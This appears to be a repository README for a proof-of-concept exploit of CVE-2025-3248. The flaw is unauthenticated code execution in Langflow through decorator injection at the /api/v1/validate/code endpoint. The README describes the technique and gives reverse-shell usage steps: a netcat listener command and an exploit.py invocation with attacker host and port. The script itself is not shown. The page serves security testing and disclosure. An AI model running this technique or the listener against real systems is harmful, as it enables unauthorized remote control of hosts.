hideki233/cve-2025-3248-langflow-rceProof-of-concept exploit for CVE-2025-3248, an unauthenticated remote code execution vulnerability in Langflow, demonstrating code injection via the /api/v1/validate/code endpoint.
Proof-of-Concept exploit for CVE-2025-3248, an unauthenticated remote code execution vulnerability in Langflow, an AI/LLM workflow-building platform.
Langflow exposes an endpoint, POST /api/v1/validate/code, meant to
"validate" a snippet of Python code submitted by the UI (e.g. custom
component code). Internally it parses and compiles the code with
ast.parse() / compile() and reports back whether it's valid — with
no authentication required.
The bug: Python evaluates decorator expressions at parse/compile time, before the decorated function is ever called. If the submitted "code to validate" contains a decorator like:
@exec("...malicious code...")
def test():
pass
the exec(...) call runs the moment the code is parsed — validation never
needs to actually invoke test(). Combined with no auth and no
sandboxing, one unauthenticated HTTP request is enough to execute
arbitrary commands on the host running Langflow.
nc -lvnp 9001
python3 exploit.py --target http://TARGET_IP:7860 --lhost YOUR_IP --lport 9001
usage: exploit.py [-h] --target TARGET --lhost LHOST [--lport LPORT] [--timeout TIMEOUT]
pip install requests
This code is provided for educational purposes and authorized security testing only (labs, CTFs, engagements with explicit written permission). Do not run this against systems you do not own or do not have explicit authorization to test. The author is not responsible for misuse.